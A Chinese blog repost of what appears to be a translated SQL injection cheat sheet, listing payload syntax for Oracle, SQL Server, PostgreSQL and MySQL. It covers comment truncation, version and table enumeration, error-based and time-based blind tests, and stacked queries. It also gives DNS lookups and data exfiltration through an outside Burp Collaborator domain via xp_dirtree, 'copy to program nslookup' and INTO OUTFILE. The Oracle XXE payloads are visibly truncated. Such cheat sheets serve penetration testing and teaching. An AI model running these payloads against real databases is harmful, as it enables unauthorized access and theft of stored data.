microsoft query sql引用单元格_SQL注入备忘录拓展

这篇备忘录介绍了如何利用SQL注入技术,包括字符串串联、注释使用、查询数据库信息、条件错误检查、批处理查询、时间延迟以及通过DNS查询进行数据渗透。这些方法在对数据库进行恶意操作时常见,例如通过布尔盲注和时间盲注来探测和利用漏洞。
摘要由CSDN通过智能技术生成

    该SQL注入备忘录包含有用的语法示例,您可以使用这些语法来执行SQL注入攻击时经常出现的各种任务。

cd6a8839e8f8b5f901e442e4f87834ea.png

String concatenation 字符串串联

您可以将多个字符串连接在一起以组成一个字符串。

Oracle'foo'||'bar'
Microsoft'foo'+'bar'
PostgreSQL'foo'||'bar'
MySQL'foo' 'bar' [Note the space between the two strings]
CONCAT('foo','bar')

Comments 注释

您可以使用注释来截断查询并删除输入之后的原始查询部分。

Oracle--comment
Microsoft--comment
/*comment*/
PostgreSQL--comment
/*comment*/
MySQL#comment
-- comment [Note the space after the double dash]
/*comment*/

Database version 数据库类型和版本

您可以查询数据库以确定其类型和版本。在制定更复杂的攻击时,此信息很有用。

OracleSELECT banner FROM v$version
SELECT version FROM v$instance
MicrosoftSELECT @@version
PostgreSQLSELECT version()
MySQLSELECT @@version

Database contents 数据库内容

您可以列出数据库中存在的表以及这些表包含的列。

OracleSELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
MicrosoftSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQLSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQLSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Conditional errors 条件错误

您可以测试单个boolean(布尔)条件,如果条件为true,则触发数据库错误。

OracleSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual
MicrosoftSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQLSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END
MySQLSELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

Batched (or stacked) queries 批处理(或堆叠)查询

您可以使用批处理查询来连续执行多个查询。请注意,在执行后续查询时,结果不会返回给应用程序。因此,该技术主要用于与盲目的漏洞有关的问题,在该漏洞中,您可以使用第二个查询来触发DNS查找,条件错误或时间延迟。

OracleDoes not support batched queries.
MicrosoftQUERY-1-HERE; QUERY-2-HERE
PostgreSQLQUERY-1-HERE; QUERY-2-HERE
MySQLDoes not support batched queries.

Time delays 时间延迟

处理查询时,可能导致数据库中的时间延迟。以下情况将导致10秒的无条件时间延迟。

Oracledbms_pipe.receive_message(('a'),10)
MicrosoftWAITFOR DELAY '0:0:10'
PostgreSQLSELECT pg_sleep(10)
MySQLSELECT sleep(10)

Conditional time delays 有条件的时间延迟

您可以测试单个布尔条件,并在条件为真时触发时间延迟。

OracleSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
MicrosoftIF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQLSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQLSELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')

DNS lookup DNS查询

您可以使数据库对外部域执行DNS查找。为此,您将需要使用Burp客户端生成将在攻击中使用的唯一Burp Collaborator子域,然后轮询Collaborator服务器以确认是否发生了DNS查找。

Oracle以下技术利用XML外部实体(XXE)漏洞来触发DNS查找。该漏洞已得到修补,但是存在许多未修补的Oracle安装:
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?> %remote;]>'),'/l') FROM dual
以下技术适用于完整Oracle安装,权限的提升:
SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')
Microsoftexec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'
PostgreSQLcopy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'
MySQL以下技术仅适用于Windows:
LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a')
SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'

DNS lookup with data exfiltration DNS查找与数据渗透

您可以使数据库对包含注入查询结果的外部域执行DNS查找。为此,您将需要使用Burp Collaborator客户端生成将在攻击中使用的唯一Burp Collaborator子域,然后轮询Collaborator服务器以检索任何DNS交互的详细信息,包括被泄露的数据。

OracleSELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?> %remote;]>'),'/l') FROM dual
Microsoftdeclare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"')
PostgreSQLcreate OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
MySQL以下技术仅适用于Windows:
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值